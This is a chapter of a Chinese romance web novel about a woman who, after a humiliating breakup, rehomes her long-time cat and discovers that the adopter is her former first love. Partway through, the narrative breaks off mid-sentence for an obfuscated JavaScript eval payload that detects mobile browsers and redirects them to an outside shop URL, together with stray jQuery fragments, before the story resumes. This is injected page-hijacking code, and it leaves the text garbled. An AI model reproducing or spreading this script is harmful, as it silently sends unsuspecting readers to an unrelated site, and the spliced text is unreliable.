1. 钝痛与空壳

作品:《当我要送走前男友的猫

    夏昀的背钝钝地疼。


    脊柱两侧的肌肉过度紧绷,像有根无形的绳子从颈椎里钻出来,死死拽着她的两块肩胛骨,把她整个人往前吊。


    她已经几天没好好合眼了。


    时间感融化成黏稠的蜡,餐厅吊灯的光晕在她眼里毛茸茸地散开。


    对面,她那位刚宣读了分手通告的前男友,喋喋不休的声音像隔着一层毛玻璃传来,嗡嗡作响,听不真切。


    她的目光失焦地落在白色餐桌上,脑子里想的却是下槽牙被蛀坏的洞,平时不声不响,一遇冰水,就酸软到骨缝里。


    “夏昀?夏昀!”


    愤怒的男声像一把冰冷的剪刀,猛地剪断了她黏稠的思绪。


    夏昀这才抬起眼,视线如同对焦缓慢的镜头,落在对面的男人身上。


    他今天穿了那件她买的浅蓝色衬衫,袖口精心挽起,露出腕上象征“品味”的某品牌经典款手表。


    他是本市某高校的辅导员,竭力将自己嵌入名为‘体面’的框架里。然而从头到脚,仍散发出一种精心计算却难掩局促的小资气息,就像廉价香水在拙劣地模仿雪松的味道。


    半年前,他们通过相亲认识,平淡地相处半年,他因她不答应关系更进一步,转头找上了别人。


    这十分钟的时间,又像播放坏掉的唱片一样,反复数落她在恋爱中的种种罪状:心不在焉,缺乏热情,如同一具美丽的空壳。


    “夏昀,你有没有在听我说话?”


    男人对她的走神表现出被冒犯的愤怒,手指在桌面上不耐地敲击。


    “就是因为你总是这样!魂不守舍,所以我才忍不下去了!这段关系让我窒息!”


    “这就是,你劈腿你学生的理由吗?”


    这场分手戏的女主角,终于说了今天的第一句话。


    声音很轻,像羽毛落下,却足以划破假象。


    男人愣住,瞳孔骤然收缩,随即瞪大眼睛。


    肉眼可见的慌张如潮水般涌上他的脸,迅速演变为被戳穿后的质疑与愤怒:“你胡说八道什么!夏昀!就因为我要跟你分手,你就要用这种恶毒的方式污蔑我吗?你的心肠怎么这么坏!”


    女人的平静与他的激动,仿佛两个极端。


    “你还没收到短信吗?”


    夏昀的语气淡淡的,像在谈论天气,“我已经把你和那位女同学的甜蜜合照,发到了学校的公共邮箱。校方应该很快就会找你约谈。”


    “你说什么?!”


    男人像被电击般猛地站起,椅子腿与地面摩擦出刺耳的尖叫,引得周围目光聚拢。


    他的脸瞬间失去血色,手指因用力而关节发白。正要倾身向前,用更恶毒的语言攻击她,手机却在此刻尖锐地响起。


    他低头一看,屏幕上闪烁的“教务部”三个字,让他脸上的愤怒瞬间被恐慌替代,如同面具般骤然剥落。


    男人再也顾不得其他,像抓住救命稻草般攥紧手机,拿起桌上的公文包,仓皇地想要逃离餐桌。


    经过夏昀身边时,他停顿了一瞬,从牙缝里挤出低沉的谩骂:“你这个疯女人!要是我的工作出了任何问题,我绝对不会放过你!”


    夏昀微微扯动唇角,露出的弧度浅淡得几乎看不见。仿佛只是听见路过的一只野狗在狂吠,除了空气的微弱震动,并未在她凝固的感官里留下更多痕迹。


    背部的疼痛依然沉甸甸地存在着。


    疲惫回到家,一身郁气。


    打开门,一股停滞的空气混合着隔夜外卖的酸馊味扑面而来。


    窗帘严密地合拢,将世界拒绝在外,黑暗沉甸甸地压下来。


    玄关处,她踢到一个软绵绵的障碍物。是又一天忘记带出门的垃圾袋,它瘫在那里,像一句无声的谴责。


    夏昀吐出胸腔里那团浑浊的气,脱下臃肿的羽绒服,如同蜕下一层沉重的皮。


    步伐拖沓在地板上,发出沙哑的摩擦声,身体比意识更先抵达卧室,然后任由自己直直地摔进床垫。


    惯性让身体弹了弹,她闭上眼睛,光被隔绝在闭合的眼睑外,零零碎碎的说话声却如潮水般蛮横地涌入脑海。


    朋友的询问,前男友的喊叫,前上司的责备……源源不断,令人心烦。


    “喵~”


    杂乱的声浪里,一个清晰又柔软的声音闯进。紧接着,胸口陡然一沉,她闷哼一声,睁开眼,对上一双在昏暗中发亮的、玻璃珠般的瞳孔。


    是猫。


    它不知何时跳了上来,揣着前爪,在她胸口稳稳地坐成一个毛团。


    “喵~喵~~!”


    它又叫了两声,声音里带着不容忽视的催促,尾巴尖轻轻地扫过她的下巴。


    夏昀会意地抬起手臂,指尖刚探过去,那个小脑袋就信任地蹭了上来。


    她的手指微动,轻挠过它耳根后柔软的绒毛,滑到下巴。它喉咙里立刻变发出满足的轰鸣,像一台微小而忠诚的发动机在胸腔里启动。


    夏昀麻木的脸上终于浮现出一丝微小到几乎感觉不到的弧度。


    但又马上,像暴晒在烈日下的水渍,蒸发消散。


    将猫咪被从胸口推下去,不顾它发出一声短促而不满的叫声,夏昀坐起身,打开手机。


    近来很火的社交软件,图标鲜艳得有些刺眼。两天前,她在这里为“开心”发布了一条送养信息。


    “开心”,是她和初恋男友捡到的流浪猫,那时它五个月大,骨瘦嶙峋,一身疾病。


    即使在宠物医院花光了那个月微薄的积蓄,也无法彻底清除猫鼻支的后遗症。天气转凉、刮风下雨,便喷嚏不停,鼻涕不断。


    即便性格再好,它病弱的身体,让她的领养信息,挂在网上两天,也少有人问津。


    但今天,夏昀再一次惯例打开社媒软件时,有人给她发来了私信:


    -能问一下是什么原因要将猫咪送走吗?


    夏昀:我要离开这个城市,去一趟外地。


    对方似乎就守在屏幕那端,文字立刻弹了出来:去一趟外地就不要它了?


    夏昀几乎能透过这行字,看到对方蹙起的眉头,语气里毫不掩饰的难以置信,或许还掺杂着对她这种“轻率弃养”行为的无声责备。


    但她别无他法。


    夏昀:我要去很久很久,实在没法带它走。


    这句发送出去,像扔出一块石头,沉入不见底的深潭。


    对方沉默了一段时间,久到夏昀以为对话已经结束。


    终于,新的消息跳出,简短而确定:我要领养。


    即便着急送养,夏昀也没有放松防备虐猫犯的警惕,她按照国际领养惯例,抛出一个个问题:住房情况、经济能力、养宠经验、是否同意封窗……


    对方一一作答,语气耐心,唯有在要求出示身份证拍照留底时,显露出犹豫。


    -这个不太方便,毕竟是隐私。


    国人对隐私都比较看中,夏昀理解,也跳过这点。一切谈妥,定下了接猫的时间地点——明天下午,她家附近的咖啡厅。


    手机被随意丢开,在床单上弹跳了一下,屏幕暗下去,房间重新被昏暗吞噬。她再次向后倒去,身体砸进床垫。


    胸上又是一沉。


    夏昀没有睁眼,只是无奈地抬起手,指尖触


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025886|194398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    碰到那柔软而熟悉的耳根,轻轻挠了挠。


    “今天是最后一天了。”她的声音轻得像耳语,融化在房间滞重的空气里。


    “去新家好好享福吧,”她继续说,“别再跟着我受苦。”


    对此一无所知的猫咪,只是调整了一下姿势,在她胸口找到一个更舒适的位置,喉咙里发出持续而满足的嗡鸣。


    隔日。


    阳光毫无温度地涂抹在冬季的小区街道上。天气难得的好,好得近乎残忍,天空蓝得像一块刚被擦洗过的玻璃,干净得容不下一丝阴霾。


    夏昀一手拎着猫包,另一只手提着滞留了几日、散发出酸腐气息的垃圾袋,走下楼。


    垃圾袋的提手勒得指节发白,而猫包的重量则沉甸甸地坠在另一侧掌心,一种不平衡的负担。


    咖啡厅离家不远不近。将垃圾扔进桶里,她将双肩猫包背到身上,骑上那辆旧电动车。冷风像薄刃刮过脸颊,猫包贴在背后,能感觉到里面细微的躁动。


    在咖啡厅外划定的白线区域停好车,她脱下猫包。隔着透气的圆形透明罩,“开心”在里面不安地转动,发出细弱、委屈的“喵喵”声。


    它或许以为,这次的目的地又是那间充斥着消毒水气味的宠物医院。


    按猫的年龄计算,它早已不是“小”猫了。七年,这是它待在她身边的时间。


    即便是和初恋男友分手时,她也想尽办法把它抢回自己身边。而如今,却要亲手将它送走。


    夏昀忽觉眼睛泛酸,心脏沉重到无以复加。


    往日种种,它陪在她身边的日子,闪过脑海。她不自觉地,想起那个曾和她一起抚摸这只猫咪的人。


    又立刻如同触碰禁忌般,紧急刹车。


    她长长吐出一口浊气,白雾在冷空气中迅速消散,连同那点软弱的犹豫。


    坚定了决心,她提着猫包,决绝地推开咖啡厅沉重的玻璃门。


    暖气和咖啡的浓郁香气混杂着扑面而来,形成一股黏腻的暖流。


    目光在略显昏暗的室内逡巡,寻找约定中那位“穿白色羽绒服”的领养人。


    视线还未扫过半圈,却像被什么无形的东西绊住,猛地定格在一点。


    一张无比熟悉、几乎刻入骨髓的脸,毫无预兆地撞入视野。


    与他视线对上的刹那,夏昀全身的血液仿佛瞬间凝固,整个人僵在原地,无法动弹。


    在店内最显眼、仿佛刻意昭示存在的位置,男人穿着雪白的羽绒服,内搭的灰色高领毛衣裹住了大半截脖颈,但他脸上阴沉的脸色,却比毛衣的灰调更加沉重。


    周予安?


    他怎么会在这里?


    夏昀的目光像受惊的飞鸟,迅速从那张刻入骨髓的脸上弹开。


    要送走猫的心虚漫上心头。


    她紧咬牙关,回避他的视线,如同只是路过一个陌生人,径直越过他身侧,坐在离他最远的角落。


    却在她坐下后没多久,那一抹白色气势汹汹逼近,在她对面的沙发上坐下。


    “为什么装看不见我?”


    他声音冷得淬冰,隐隐带着被无视后的气急败坏。


    夏昀抬起头,视线落在他身上的白色羽绒服上,一个荒谬的念头击中了她。


    她声音干涩:“是你要领养猫?”


    见她终于明白过来,周予安往沙发椅背上一靠,双臂环在胸前,嘴角扯出一抹充满嘲讽的弧度。


    “分手那天要死要活抢走开心,现在转手就送人。”


    他死死地盯着她,目光锐利得要将她刺穿,几乎是从齿缝里挤出后面三个字:


    “好得很。”